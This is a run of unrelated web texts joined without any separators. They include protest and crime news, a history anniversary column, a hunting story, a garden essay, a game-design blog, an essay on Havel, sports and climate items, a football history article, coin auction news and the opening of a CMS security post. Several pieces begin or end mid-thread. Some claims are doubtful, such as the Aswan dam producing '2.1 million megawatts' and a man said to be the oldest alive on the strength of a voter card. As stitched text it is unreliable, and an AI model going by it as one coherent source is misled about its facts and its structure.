Ottawa police have also been reluctant to take action until an order from the city, Police Chief Charles Bordeleau told CBC.
“Since the bureaucrats have failed to do it … we said okay, we’ve got to fix this park up for the fall,” Annable explained.
“They’ve been there for 42 days with no ticket, I got mine within four hours.”
He said he didn’t do the area covered by the site’s tents, but he plans to continue applying manure over the weekend.
12 May 2014
25 Years Ago | 50 Years Ago | 75 Years Ago | 100 Years Ago
25 years ago: Tiananmen protesters defy bureaucracy’s threats
Students demonstrating in Tiananmen Square, 1989
On May 12, 1989, after more than three weeks of protesting at Beijing’s Tiananmen Square, a thousand students began a hunger strike. This was timed to take place simultaneously with the planned visit of Soviet president Mikhail Gorbachev in order to reach the widest international audience with their demands. The hunger strikers were surrounded by thousands of supporters in the square. Protesters’ demands were largely over democratic rights, including freedom of speech and the press, improved treatment of intellectual workers and an end to the rampant corruption of the ruling bureaucracy.
The welcoming ceremony for Gorbachev was planned for May 15 at the Great Hall of the People, only hundreds of feet from where the protests has been taking place. The anger and determination of the protesters put the Chinese Stalinist bureaucracy in a crisis. Chinese Communist Party (CCP) general secretary Zhao Ziyang appealed to protesters on state-run national television to call off the protests to ensure a successful summit meeting.
The day of Gorbachev’s arrival, half a million demonstrators marched in the square in defiance of Chinese authorities’ appeals, forcing a change in the route of the Gorbachev motorcade. The number of hunger strikers grew to 3,000. Workers joined in the demonstration with chants such as “The citizens have joined in! Long live the students!” A young worker told the press, “They are saying what’s in our hearts.”
The crowds in the square swelled to more than a million people on the second and third days of the summit. Chinese premier Li Peng denounced students’ demands and threatened a crackdown. “I don’t care if you want to listen or not. Beijing is paralyzed, coming to anarchy, out of control. The entire nation is affected. Students should leave the square without preconditions.”
In a clear rift among CCP leaders, Zhao Ziyang offered to resign his post as general secretary and pleaded for the protests to end, saying in a televised speech: “We were too late in coming. I’m sorry. Your criticism of us is justified. I’m not asking for your forgiveness. I’m just saying your bodies have become very weak. Your hunger strike is already in its seventh day. Things can’t go on like this.”
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50 years ago: Khrushchev, Nasser mark beginning of Aswan dam
Nasser and Khrushchev
On May 12, 1964, Soviet leader Nikita Khrushchev and Egypt’s military ruler Gamel Abdel Nasser marked the completion of the first phase of the construction of the Aswan High dam on the Nile. At the ceremony, the two leaders detonated a dynamite charge that diverted the river into a new channel.
The dam, begun in January 1960, was expected to generate 2.1 million megawatts of electricity when completed in 1969 and end the annual cycle of floods and drought on the Nile by creating a massive lake upstream. Through irrigation, the project would create a million or more acres of new farmland along the narrow strip of land along the Nile upon which Egypt relied for most of its food.
The Soviet Union financed and provided technical support for the $1.3 billion project. Thousands of Soviet workers aided in the construction, and 3,000, along with their families, were present at the ceremonies.
The Aswan project was the high point of Soviet wheeling and dealing with the bourgeois nationalist regimes of the Middle East, in which these representatives of the impotent and reactionary bourgeoisie were glorified by the Stalinists and even presented to Arab and Soviet workers as socialists. The Stalinist bureaucracy hoped it would help stabilize the Nasser regime, which balanced between imperialism and the working class. In the course of his 17-day visit to Egypt, Khrushchev presented Nasser and Field Marshal Abdul Hakim Amer with the Order of Lenin, pronouncing them “heroes of the Soviet Union.”
Alongside Khrushchev and Nasser were President Ahmed Ben Bella of Algeria, President Abdullah Sallah of Yemen, and President Salam Aref of Iraq. The Baathist regime that Aref represented had in recent months killed, tortured, and arrested thousands of members of the Iraqi Communist Party.
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75 years ago: Harlan County miners sold out by UMWA
John L. Lewis
On May 12, 1939, the US government announced that the dispute between Appalachian coal miners and their employers was over—or at least for those at 2,400 of the affected 3,000 mines—much to the relief of the Roosevelt administration, which was faced with the threat of a coal famine if miners stayed out much longer.
Under pressure from striking workers and the White House to reach an agreement, the coal mine owners of the Appalachian region agreed to resume production at once under a new contract with the United Mine Workers of America (UMWA), recognizing it as the exclusive bargaining agent for all employees.
About 60,000 miners in Harlan County, Kentucky, and some other fields in Kentucky and West Virginia, were not covered by the deal, after an informal consortium of mine operators known as the “Southern Bloc” refused to go along with it. John L. Lewis, the president of the Congress of Industrial Organizations (CIO), of which his own union, the UMWA, was then the largest affiliate, was pitted in a jurisdictional brawl with the Progressive Miners of America, and was anxious to come to terms even if it meant leaving a large section of the workforce without union recognition.
On May 15 in Harlan County, days after the signing of the agreement, National Guard troops blocked 3,000 striking coal miners who were en route to picket lines at mines where owners had refused to sign. Troops were placed on the border of Kentucky to prevent miners from other states from supporting their fellow workers.
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100 years ago: Thousands attend memorial for socialist Daniel De Leon
Daniel DeLeon
On May 17, 1914, thousands of workers attended a memorial service in New York for Daniel De Leon, an early pioneer of socialism in the American workers’ movement. De Leon had died May 11.
While the meeting was underway, a huge crowd gathered, lining up on the street for several blocks. Many socialist and trade union organizations participated in the meeting, representing broad sections of the city’s working class. After the meeting, as many as 7,000 joined in a funeral march.
De Leon had been born in 1852 on the island of Curaçao, off the coast of Venezuela, into a middle-class family. Educated in Europe, he was fluent in German, Spanish, Dutch, Latin, French, English and ancient Greek, and was able to read Portuguese, Italian and modern Greek.
Having migrated to the United States, De Leon became the editor of a Spanish-language newspaper that called for the liberation of Cuba from Spanish colonial rule in 1872. Over the following years, he worked as a schoolteacher and an attorney, before entering academia.
De Leon turned toward the socialist movement in the midst of social upheavals in 1886, supporting the New York mayoral campaign of Henry George, a radical opponent of social inequality associated with the trade union movement. De Leon made a study of the fundamentals of Marxism and joined the Socialist Labor Party (SLP), rapidly becoming a leading member and the editor of its newspaper.
He was active in the American labor movement, both as a leader of the SLP and as prominent member of the Socialist Trade and Labor Alliance, a workers’ organization that merged with the revolutionary-syndicalist International Workers of the World.
De Leon took a clear stand against the reformist conceptions that dominated much of the early American socialist movement, but he did so from a sectarian perspective. The SLP, under De Leon’s leadership, tended towards the conception that the working class would simply turn to a revolutionary perspective at the decisive hour, and undertook few practical interventions into the developing struggles of the working class. This outlook reflected both the immaturity of the American socialist movement and the difficulties produced by the right-wing, anti-socialist orientation of the American Federation of Labor (AFL) and other trade union organizations.
Nevertheless, De Leon played a significant role in acquainting the American working class with the traditions of the European socialist movement, including by translating a number of works by Marx, Engels, Kautsky, Lassalle and others into English. In subsequent years, prominent figures in the revolutionary movement, including James P. Cannon, longtime American Trotskyist leader, paid tribute to De Leon’s work.
It was a cold Friday evening when my father and I had arrived at the woods. My father hunts bear so we went to bait while we were there. We were heading through the woods to bait the bears and we completely missed the trail. After walking past it for a few minutes we finally realized we had missed it so we turned back and then we found it and walked down the trail.
After bear baiting my father and I started the rabbit hunt. We walked up and down hills, over streams and through lots of branches that somehow always found a way to whack me in the face.
We moved to another spot after hunting for an hour and a half not seeing anything, but the hunt was not over yet! When we arrived at the next spot we got ready to go at it again so we started walking through some tricky terrain when my father said “stop” and we listened. We could hear a doe making almost a blowing sound, warning nearby deer that we were there. As we listened some more, we could hear it walking away so we continued on. My father and I walked up to a frozen lake and stood for a minute and looked around. My father had some hesitation but then we walked across it being very careful. We then came up to another part of the woods where we saw some rabbit trails, so we walked around the area but no rabbits. With our luck I was a bit discouraged thinking this is the last hour we can hunt, but my father said not to get down and so I trusted him.
We headed back towards the truck when we almost stepped on a rabbit! I mean literally, we were almost on top of it when it bolted away. We weren't fast enough but we ran after it ready for anything, when we saw something that looked just like it. Wanting to be safe rather than sorry, we tried to get closer to it but it turned out, that was the rabbit! We chased it some more but it was gone.
It was getting dark now and there was 10 minutes left of the hunt so as we went back to the truck my Dad asked if I would like to check this area and I said “sure....what do we have to lose?” So we walked a few feet and we both said to each other that looks like a rabbit to me. We got closer to confirm our target. It poked its head up and looked at us but it was not afraid of us...maybe because it thought it was hidden. I raised my gun, pulled the trigger and...BANG! The rabbit bolted a few feet, then stopped. I noticed a bit of blood on its fur so I knew I hit it. Then my dad asked if I wanted him to finish it and I said “No thanks, Dad”. Then, without hesitation, I shot again and hit the rabbit good this time because he fell as hard as a rock! My Dad said, “You got him” and I jumped for joy and said to my father, “My First Kill!!!” I was very excited!
We walked back to the truck and I held it up and my father snapped some picture of me and the rabbit. We got him field dressed and ready to go. Now that's a hunt to remember with your father!
By the way, it tasted really good in the stew we made the next day! :)
Have a comment about what you just read? Did we get it wrong, or would you like to tell us one of your stories?
Kalamazoo Township police said they were investigating when they developed a lead that the suspects could be at a home on the 100 block of Herbert St. in the city.
The two boys were arrested with the help of the Kalamazoo Department of Public Safety. Stolen property – two cell phones and a tablet – was recovered at the Herbert St. home, according to the press release.
Police said they also found a stolen laptop and purse along what is believed to be the suspects' path of flight.
She appeared in a flash on top of the fence, flew to the wall and then spotted me and darted off again. She had been here before, I realised, perhaps lured by the recently unveiled earth and its unearthed worms, or the new compost heap, or even the hanging feeder with its diminishing quantity of sunflower hearts. (Robins have only recently learned to use hanging feeders. And you can tell – they look ridiculous.)
She hung around for a few days, standing stock-still on her skinny stick legs, watching me turn the earth. Sometimes she would dive down and eat worms and other grubs, other times she stayed on the wall, brown legs splayed, bobbing up and down. Once I spotted her on the apple she had watched me plant, twiggy like her, a feathered maiden. After the apple I planted two climbing roses. Then I put a robin nest box up – an optimistic effort, considering the garden was still 90% mud and stones.
In spring she disappeared. During the next few months the garden grew; I got rid of the last bits of decking and stones, dug a pond. Everything turned green. The house sparrows became regular visitors, but the robin – or any robin – never came back. I didn’t even hear one.
And then, yesterday, she returned. I had dug and planted a new border and was busy mulching it with home-made compost. Everything was little red brandling worms and leaf litter, which I tucked under the leaves of newly transplanted foxgloves and around dying clumps of whatever would come back next year. There she was, suddenly, picking around the mulch, taking worms. She worked at my feet, untroubled by me and my fork, and almost took a worm from my hand. She stayed with me all afternoon, exploring the apple tree and the roses and the pond and the lawn – a habitat. I liked to think she approved of the progress since all the mud and stones.
I’m fairly sure “my robin” is a winter migrant. To disappear in spring like that and return in autumn suggests she has another territory elsewhere. Most robins are sedentary, but some migrate for winter, often over the Channel, while British residents are sometimes joined by those from Scandinavia. I think this one is British – Scandinavian birds tend to be less used to humans and are therefore much more wary of us; I had winter robins and blackbirds in my previous garden in London, and they skulked under the shrubbery, flying off the second they saw me. This one seems far less shy.
The thoughts and opinions expressed are those of the writer and not Gamasutra or its parent company.
It is said that to realize the world one has to realize the self.
I’ve been analyzing myself as a player to figure out what I like and why, because as a game-maker I need to understand the player for whom I am creating a game.
I (and I realized this while I was thinking about, and writing, this post) am something of a skill-grinder. If I like a game, however hard it is, I will do whatever it takes to get better at it. I’ll die a million miserable deaths but will respawn each time and play that level again just for the pleasure of improving-my hand-eye coordination and figuring out the perfect timing and position for that jump. How it looks matters only up to a point.
So if you have read my postmortem of StarTrail, you might have understood my pain of creating and tuning the difficulty level of a game. Ultimately, as a game maker, I need to understand the behavior of my prospective player.
What I do understand is this: There are different kinds of players out there. Some like me, don’t really mind difficulty as long as the game doesn’t make me feel like a fool. On that point, some, like Flappy Bird, DO make me feel like a fool; but the fact that it’s making everyone feel like a fool makes it tolerable.
If you look up Wikipedia for ‘Game difficulty’, the page is quite informative. Here’s a line from that page:
An alternative approach to difficulty levels is catering to players of all abilities at the same time, a technique that has been called “subjective difficulty”. This requires a game to provide multiple solutions or routes, each offering challenges appropriate to players of different skill levels (Super Mario Galaxy, Sonic Generations).
I guess that means that I am adopting the Subjective Difficulty approach while designing SuperVeg Girl, my upcoming mobile game. To that end, here are the categories that I’m classifying players into:
a) Super casual: The kind that like a pick-up-and-play experience above all, one with low skill level. They are not really invested in the gameplay and have no Gamer Ego to speak of. They will abandon a game at the slightest sign of difficulty.
I don’t have much hope of retaining these players beyond the third level (that’s where the difficulty level has a spike).
b) HardCurious casual: These are casual players that have a secret, dormant Gamer Ego. Like my Dad. He never plays games, but he really got into Angry Birds when it first came out. Lure them in with something that they like, like graphics or sound, and before they know it, they’re swearing at their smartphone in the cockpit while cruising at 30, 000 feet.
I like this kind of player. I’d like to think that a sizable percentage would stay and play. To help keep this kind of player, we have a comic strip in the game that reveals the story, as it were, while the game progresses.
c) Faux-Hardcore: These are the ones that think they’re hardcore, but they’re really not. They revel in progress in a game for it’s own sake, without exploring the game or it’s mechanics in any depth. The end of a level, or the game, holds more attraction than the process of getting there.
I hope to keep these players engaged for a decent amount of time; it’s the reason I have a SpeedRun badge in each level. Here’s how it works: There are three levels of achievement in each level, signified by the following badges:
The Speed Runner
The SpeedRun badge is awarded for reaching the castle as soon as possible. In the screenshot below, you can see the level with the positions of all the eggs and key marked clearly. You can also see the player start position and direction (red arrowhead) and the castle that the player needs to go to. There are three bridge tiles available to be placed.
In the screenshot below, you can see the path of the SpeedRun as a white dotted line. The player needs to find and pick up the key and head straight to the castle. The bridge tiles need to be placed in a way to get to the castle ASAP. To get the SpeedRun badge, the player does not need to pick up any of the eggs in the level.
d) SemiHardcore: These players enjoy a challenge. They like to test all the mechanics of a game and explore the levels. To keep them playing, the game needs to constantly throw out new, creative and (sometimes progressively harder) challenges. They like to show off their progress, but that’s not the point of playing. I’m kind of like this, depending on the game I’m playing.
For this kind of player, we created
The Explorer
The explorer badge is awarded to a player who, finds and collects all the eggs in a level. There’s no time limit; she/he just has to get all of them. Picking up each egg in a level presents a challenge unique to that egg; I’ve tried really to keep the collection of each egg in the game at least slightly different from the others. It’s been a big creative challenge for me, and I hope I have managed to some extent.
e) Hardcore casual: This is the kind of player that loves challenging games but only plays mobile games, due to a lack of time- someone exactly like me. If he/she finds a game they like, they explore everything and complete every single objective. For this kind of player, there’s
The BossRunner
To get the BossRun badge, the player needs to pick up all the eggs in the quickest possible time. This means that the bridge tiles need to be placed to find the shortest path to the castle via picking up the key, and there is no time for mistakes. If the player mistimes a jump to pick up an egg, mistimes it and turns around to try it again, it’s probably too late.
This can be seen in the screenshot below showing the same level as in the SpeedRun, where the placement of the bridge tiles is different.
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Col. Nizammudin, who was the driver of Netaji, is a resident of Mubarakpur in the Azamgarh district of Uttar Pradesh.
In order to open a joint account with his wife, Nizamuddin alias Saifuddin had furnished his voter identity card to the State Bank of India that states he was born in 1900.
In February this year, a Japanese man, who was believed to be the oldest man alive, passed away at the age of 114.
This makes Colonel Nizamuddin the oldest human being alive on the planet right now as he completes 116-years 3 months and 14 days on Sunday.
Photograph by Sean Gallup/Getty Images
Back in the early 1980s, when Poland was frozen under martial law and Czechoslovakia, as it was then still called, suffered under one of the stupidest of all of Communist regimes, the Polish dissidents and the Czech dissidents resolved to have a meeting. By separate routes, they made their way to their mutual border, high in the Tatra mountains. I once saw the photographs that were taken to mark this improbable occasion: a dozen blue-jeaned activists, veterans of Solidarity and Charter 77, grinning widely, toasting the camera, celebrating the fact that they had eluded their respective secret police services once again. It looked like a lot of fun.
Almost 30 years have passed since those pictures were taken, and the people in them have since met a wide variety of fates. In the wake of the revolutions of 1989, some of that dissident generation in Poland, Czechoslovakia, Hungary, and East Germany moved from shadow politics into real politics, becoming legislators, ministers, heads of state. Many, perhaps most, did not thrive. Some found they didn’t care for democratic politics, especially when the voters treated them with less respect than they thought they deserved. Others found they didn’t care for capitalism. Some grew sour, some went off in literary directions; some stayed in the shadows, listening to Frank Zappa.
In retrospect, only one politician in those photographs stands out as a true post-Communist political success: Vaclav Havel, the president of the Czech Republic, who died Sunday. Havel’s post-Communist political career was not without blemish: He failed to prevent the division of the Czechoslovak state; he failed to live an entirely admirable personal life. But he achieved two things that none of his contemporaries managed.
First and foremost, Havel not only opposed the Communist regime, he articulated a theory of opposition. His plays–as turgid, alas, as the Communist bureaucrats they are meant to satirize–will not survive, except as curiosities. But his famous political essay—“The Power of the Powerless“—will live forever. Its appeal is universal. I have given Havel’s essay to Iranian friends, and I once discussed it with would-be dissidents in pre-revolutionary Tunis. In both places it seemed—seems—relevant.
In this essay, Havel didn’t talk about marches or demonstrations. Instead, he asked the inhabitants of totalitarian countries to “live in truth”: That is, to go about their daily lives as if the regime did not exist, to the extent that was possible in societies where the state ran all businesses and all schools, owned most of the property and banned free speech and free press. By the late 1980s, “living in truth” was widely practiced across central Europe. The first time I went to Poland in 1987, I stayed with friends. According to the law, I was supposed to register my presence in a private home with the police. “We don’t do that,” my friends told me. “We don’t believe the police have the right to know who stays with us.” I didn’t register—and because thousands of other people didn’t either, that law became unenforceable.
But Havel proposed more than mere civil disobedience. He also argued in favor of what we would now call civil society, urging the inhabitants of totalitarian states to found small institutions—musical groups, sporting groups, literary groups—which would develop the ”independent life of society,” and prevent their members from being totally controlled from above. This too was widely practiced, in Prague’s famous underground philosophy seminars, in the illegal printing presses all across the communist world, in Poland’s independent “Flying University,” and, most successfully, in Poland’s independent trade unions.
Havel also practiced what he preached. But unlike many others, he did so not only before the fall of communism but also afterward. Upon being elected president, Havel stopped wearing blue jeans and started wearing suits. He moved his headquarters into Prague Castle where he repainted the offices, took down the steel barriers, and acquired a set of red, white, and blue BMWs (the colours of the Czech flag) to use in his presidential cavalcade. He ceased to be a dissident. He stopped staying out all night at parties. His friends complained he was no fun anymore. This was his second great achievement: He became an establishment politician, and he created, anew, the institution of the Czech presidency.
Curiosity's Chemistry and Camera (ChemCam) can deliver more than a million watts of power to a Martian rock, vaporizing the rock's surface. The ChemCam can then analyze the vaporized bits of rock. In order to calibrate the laser, NASA selected a perfectly ordinary rock, N165, as Curiosity's first victim...I mean, test sample.
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How does N165 feel about this? Well, the rock now has its own Twitter account, and yesterday it started tweeting:
At first, it's quite excited to see Curiosity:
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A couple of followers try to warn N165 that Curiosity is up to no good:
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Gradually, it starts to get nervous:
Until:
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I suspect it will be a while before N165 is so welcoming to alien strangers. Thank you, N165. As painful as your experience was, it will improve Curiosity's ability to zap your rocky brethren.
You can read more about ChemCam at Space.com.
Image from NASA/JPL-Caltech/Univ. of Arizona.
A North Texas representative wants legislation that would allow staff and visitors to bring firearms into hospitals for self-defense.
The KERA radio story.
A few years ago, when State Rep. Drew Springer went to visit a Deputy Sheriff at Texas Health's Harris Methodist Hospital in Fort Worth, he had to leave his gun in the car.
“I go up and see the deputy and then I come back,” he said. "I spend the next 10 minutes walking in a dark parking lot to get to my car in downtown Fort Worth and I absolutely did not feel safe.”
Springer says it makes no sense that he can take his gun into the Capitol building but has to leave it in the glove compartment before walking into the ER.
So last spring the Republican representative proposed a bill to eliminate most gun-free zones in the state. His district stretches over several counties between Amarillo and Dallas-Fort Worth and it includes more than a dozen hospitals.
“I’ve had both employees as well as visitors of their loved ones that have said we’re right here on the interstate, there’s a big sign that says hospital and people are coming off and trying to rob them of their drugs,” Springer says. “They feel vulnerable and they want the right to be able to protect themselves.”
The View From Parkland Hospital
Dallas County Hospital District Police Captain Dan Birbeck says he understands Springer’s mission for self-defense, but disagrees with the idea of guns on hospital grounds.
“I’m a Second Amendment supporter,” Birbeck says. “However, I think there needs to be some common sense built into this as well.”
Birbeck is responsible for the team that responds to emergencies in Dallas County Hospital District. He says Parkland, like many major hospitals, treat a large number of psychiatric patients who may be in danger of hurting themselves or others.
“Even though that person may have the right to defend themselves, they don’t have the right to put others in danger," he says.
Which is exactly what happened a few years ago when Parkland was treating a prisoner. The felon overpowered a deputy sheriff and took his firearm.
After a large manhunt, a SWAT team eventually took the prisoner into custody.
More recently, in January, a shooting at a Veterans Affairs clinic in El Paso left a psychologist and the gunman dead. In April, a father visiting his son at a hospital in Harris County pulled a gun on a nurse. In that incident, no one was hurt.
Still, these cases bring up safety concerns for staff and visitors.
In fact, new research released by the Occupational Safety and Health Administration confirmed that staff working in hospitals experience much higher rates of workplace violence than all other workers.
The solution, says Steve Love with the Dallas-Fort Worth Hospital Council, is not more weapons.
“All people I know within the hospital community clearly want gun-free zones in their hospitals," Love says. “We have enough problems with security as it is, to add guns to the mix just makes it more complicated."
Training For Violence
Hospitals across North Texas train for active shooter incidents. In 2014, the DFW Hospital Council sponsored a workplace violence educational session. Texas Health Resources hospitals recently presented an online training program to employees on how to respond to an active shooter situation in the workplace.
Police Captain Dan Birbeck says Parkland’s chief of police, Kenneth J. Cheatle, has been instrumental in training Parkland staff, as well as police and security working at hospitals across the country in how to handle active shooter scenarios.
“If we were to have somebody enter the hospital with a gun, we have non-ambulatory patients that can’t defend themselves," Birbeck says. "We have patients that are ill and unable to defend themselves. So we try to prepare for that event so we can protect as many of our patient population as possible.”
Wales hooker Ken Owens will miss the British and Irish Lions tour opener because of an ankle injury.
He missed Scarlets' Pro12 final win against Munster at the weekend and will not face New Zealand Barbarians in Whangerei on Saturday.
Owens said: "I've got a couple more boxes to tick, but hopefully [I'll be] fit for the second or third game."
However, captain Sam Warburton hopes not to miss early tour action as he did in Australia in 2013.
The Wales flanker missed their two opening tour games in 2013 because of a knee injury.
On arrival in Auckland, Warburton said: "I presume a lot of the guys who have been involved in training for the last two and a half weeks will be involved in that [opening] game.
"I'm hoping that's going to happen this time round.
Sam Warburton and Alun Wyn Jones celebrate the 2013 Lions beating Australia
"That's what frustrated me four years ago.... I was pretty jealous waiting for that game. You just want to get the Lions jersey in the kitbag. And then I just want us to win, and I don't care how we win.
"The good thing is, when the first game gets under way they start coming think and fast. It's nice to get that first game under your belt.
'Big learning weeks ahead'
Warburton also said the tourists would trade a defeat in any of their warm-up games if it benefited their chances in the Tests.
"These games are important to win, you get a good feeling, but we've got to realise that the next three, four weeks are big learning weeks for us," said the 28-year-old.
NCDC 2012 Overview:
In 2012, the contiguous United States (CONUS) average annual temperature of 55.3°F
NCDC 2013 Overview:
In 2013, the contiguous United States (CONUS) average temperature of 52.4°F
Looks like California is in the minority, mostly due to the extended La Niña pattern:
Of course they are still on about severe weather, no room for “normal” in this scary looking graphic, apparently:
In 2013, the contiguous United States (CONUS) average temperature of 52.4°F was 0.3°F above the 20th century average, and tied with 1980 as the 37th warmest year in the 119-year period of record. The 2013 annual temperature marked the coolest year for the nation since 2009. The 2013 CONUS average temperature was 2.9°F cooler than the 2012 average temperature, which was the warmest year on record for the nation. Since 1895, when national temperature records began, the CONUS has observed a long-term temperature increase of about 0.13°F per decade. Precipitation averaged across the CONUS in 2013 was 31.17 inches, 2.03 inches above the 20th century average. This marked the 21st wettest year on record for the nation and the wettest since 2009. Compared to 2012, which was the 18th driest year on record, the CONUS was 4.50 inches wetter in 2013. Over the 119-year period of record, precipitation across the CONUS increased at an average rate of 0.17 inch per decade.
h/t to Tom Nelson
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Alex Mayberry was one of the high profile senior appointments at Cloud Imperium and he joined the company to work on Star Citizen back in May 2013, leaving Blizzard after ten years.
In an email to PC Invasion this afternoon, a CIG spokesperson confirmed his departure, stating: “Alex left CIG for personal reasons last month.”
There has been no other information as to who is now filling his role, and this is the second major loss for CIG following the departure of Star Citizen’s Associate Producer Travis Day who left last month. There are also no further details regarding Mayberry’s current employment status as his LinkedIn profile has not been updated.
This confirmation today will fuel further discussion on the status of the Star Citizen project which has received a lot of scrutiny after the blog post from Derek Smart over the weekend. There are real concerns from some backers that the game could be struggling following the announcement at the end of last month that the FPS module development had “stalled”.
The Battle of Santiago (Italian: Battaglia di Santiago, Spanish: Batalla de Santiago) was a football match during the 1962 FIFA World Cup, played between host Chile and Italy on 2 June 1962 in Santiago.[1] It gained its nickname from the level of violence seen in the game, in which two players were sent off, numerous punches were thrown and police intervention was required four times. The referee was Ken Aston, who later went on to invent yellow and red cards.[2]
Background [ edit ]
In this Group 2 clash, already heightened tensions between the two football teams were exacerbated by the description of Santiago in crude terms by two Italian journalists, Antonio Ghirelli and Corrado Pizzinelli; they had written that Santiago was a backwater dump where "the phones don't work, taxis are as rare as faithful husbands, a cable to Europe costs an arm and a leg and a letter takes five days to turn up", and its population as prone to "malnutrition, illiteracy, alcoholism and poverty. Chile is a small, proud and poor country: it has agreed to organise this World Cup in the same way as Mussolini agreed to send our air force to bomb London (they didn't arrive). The capital city has 700 hotel beds. Entire neighbourhoods are given over to open prostitution. This country and its people are proudly miserable and backwards."[3] Chilean newspapers fired back, describing Italians in general as fascists, mafiosos, oversexed, and, because some of Inter Milan's players had recently been involved in a doping scandal, drug addicts.[4] The journalists involved were forced to flee the country, while an Argentinian scribe mistaken for an Italian in a Santiago bar was beaten up and hospitalised.[1]
Chile's organisation of and preparation for the tournament had been severely disrupted by the 1960 Valdivia earthquake, the strongest earthquake ever recorded in human history. Articles in the Italian papers La Nazione and Corriere della Sera were saying that allowing Chile to host the World Cup was "pure madness"; this was used and magnified by local newspapers to inflame the Chilean population. The British newspaper the Daily Express wrote "The tournament shows every sign of developing into a violent bloodbath. Reports read like battlefront despatches. Italy vs Germany was described as 'wrestling and warfare'".
Match [ edit ]
Summary [ edit ]
The first foul occurred within 12 seconds of kick-off.[1] Italy's Giorgio Ferrini was sent off in the twelfth minute after a foul on Honorino Landa, but refused to leave the pitch and had to be dragged off by policemen.
English referee Ken Aston did not see a punch by Chilean Leonel Sánchez to Italian Mario David, which had come in retaliation for being fouled seconds earlier. When David attempted to kick Sánchez in the head a few minutes later (he missed), he was sent off.[1][4]
In the violence that continued, Sánchez broke Humberto Maschio's nose with a left hook, but Aston did not send him off.[4] The two teams engaged in scuffles and spitting, and police had to intervene three more times. Chile won the match 2–0.
When highlights from the match were shown on British television a couple of days later (not the same night, because film of matches had to be flown back to the UK), the match was introduced by BBC sports commentator David Coleman as "the most stupid, appalling, disgusting and disgraceful exhibition of football, possibly in the history of the game."[1]
Details [ edit ]
Linesmen:
Leo Goldstein (Israel)
Fernando Buergo Elcuaz (Mexico)
MEMPHIS, Tenn. -- Memphis police searched for a suspect who got away from K-9 patrols and even a police helicopter after he robbed a man, shot at police, and caused schools to be locked down.
Police said two men beat and robbed a man in the 1100 block of Catalina, taking everything but his underwear. One man is behind bars, but his partner in crime is on the run.
"That was a scary thing!" James Trenell said.
Trenell was on Catalina, laying under a car trying to fix it Wednesday.
"I saw them stripping him out of his clothes and stuff, and then saw them run down the street with everything he had," Trenell said.
Trenell said he froze as he watched two guys beat and rob a man in a driveway five feet away, taking the man's money and clothes - everything but his boxers. The robbers then took off.
"I heard some gunfire. Three shots," witness Rickey Shotwell said.
Police said one of the robbers then shot at an officer, and the officer fired back. No one was hit.
"I was sitting in my living room. It sounded like it was in my living room!" Eric Clements said.
Police barricaded the area, forcing Sherwood Middle and Elementary school to go on lockdown while they searched by foot and air.
Witnesses told WREG's Michael Quander one of the suspects was found in a shed behind a home on Vanuys. Investigators confirmed they caught one of the guys and confiscated multiple weapons, but the other got away.
"This is ridiculous. Daylight! They don't care. They don't," Shotwell said.
Police were still on the scene as kids were coming home from school. Students weaved trough the crime scene. Some said they were terrified, and others confused.
"Every day it's something. Every day," Shotwell said.
Neighbors said they didn't know the victim, but gave him clothes while he sat in the cop car waiting to give police his story. Some said it looked like he was crying.
As for Trenell, he too is shaken up.
"I didn't think anything would go on like that in broad daylight," he said.
Police charged Charles Travis, 24, with aggravated robbery, aggravated assault, and convicted felon in possession of a handgun.
The upcoming official auctions held at the American Numismatic Association World’s Fair of Money in Denver the first week of August will represent the end of an era as the sales mark the final year of a 17.5 percent buyer’s premium for the convention’s official auctioneers: Stack’s Bowers Galleries and Heritage Auctions.
On June 30 Stack’s Bowers announced that, effective Aug. 14 with its Hong Kong Showcase Auction, it would be standardizing its buyer’s fee to 20 percent across all auction formats including live and online sales. The firm’s president, Brian Kendrella said in a statement, “Our new buyer’s premium remains one of the lowest of all major collectibles and now provides our clients simplicity and uniformity when participating in our auctions regardless of the auction location, format or bid source.”
There was a time when the Morgan dollar was actually a half dollar: Another column in the July 31 issue of Coin World explains how collectors can create their own archival-quality holders for oversized paper money.
Heritage confirmed with Coin World that it would also introduce a 20 percent buyer’s fee for all U.S. and World coin auctions after Aug. 14.
Auctioneers dealing in similar areas often move together when announcing rates. In September 2016 Christie’s announced that it would be raising buyer’s fees and Sotheby’s quickly followed a month later.
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Many collectors can remember a time when there was no buyer’s fee; the concept was popularized by Christie’s and Sotheby’s only in the mid-1970s. In the 1990s the “BP” started to creep up to 15 percent and the 2000s saw a new staggered approach that’s used today by many fine art auctioneers to charge buyers more for lower-value lots where the profit margin is thinner.
For example, Sotheby’s New York charges a buyer 25 percent on the first $250,000 bid, 20 percent on the amount in excess of $250,000 up to and including $3 million, and then 12.5 percent on the portion of the hammer price in excess of $3 million.
Along with the buyer’s fee, sellers at auction are charged a commission. Auction house presale estimates usually do not include buyer’s fees, while reported prices realized typically do include the buyer’s premium, as that amount — the hammer price plus the buyer’s premium — represents the sum that a buyer pays for an object.
A higher buyer’s fee means that lower seller’s fees can be offered to entice sellers to consign. For this year’s ANA auctions, both houses were offering seller’s rates of “hammer plus” for choice consignments, meaning that the seller would get the hammer price, plus an agreed upon percentage above that bid.
Our previous post included a checklist comparing CMS Airship (our Free Software CMS platform designed with security in mind) to the three most popular content management systems currently in use on the Internet:
WordPress (26.6% of all websites) Joomla (2.8% of all websites) Drupal (2.2% of all websites)
The checklist compared out-of-the-box security properties (features or design decisions that affect the security of the software and any extensions developed for it) rather than what's possible with community-provided extensions. Tooltips were also provided on individual cells to clear up any confusion on why we did or did not award a checkmark to a given project for a given security property.
Since the previous post was published, several technologists asked us to explain the individual security deficits of other PHP content management systems in detail. Some of these are straightforward (e.g. WordPress doesn't offer encryption, so there's nothing to analyze), but others require a careful eye for code auditing. Familiarity with PHP security is also greatly beneficial to understanding, although we will attempt to explain each item in detail.
We're going to set Airship aside for the remainder of this post. All you need to know is Airship met all of the criteria for a secure-by-default content management system. If you'd like to learn more about Airship's security features, we've covered this in detail here.
WordPress, Joomla, and Drupal: The Good Parts
All three content management systems score points for being Free Software, released under the GNU Public License. Consequently, their source code is available for their users to inspect and analyze. This offers three benefits:
Independent security experts can assess the security of their offering and, with source code citations to prove their arguments, explain what's secure or insecure. Independent security experts can take their findings and offer better ways to improve the security of their software. You have the ability to run a copy of the software that you've verified to be known-good.
For example, last year, we made WordPress's wp_rand() function cryptographically secure as of WordPress 4.4.0. This would not have been possible without the first two properties.
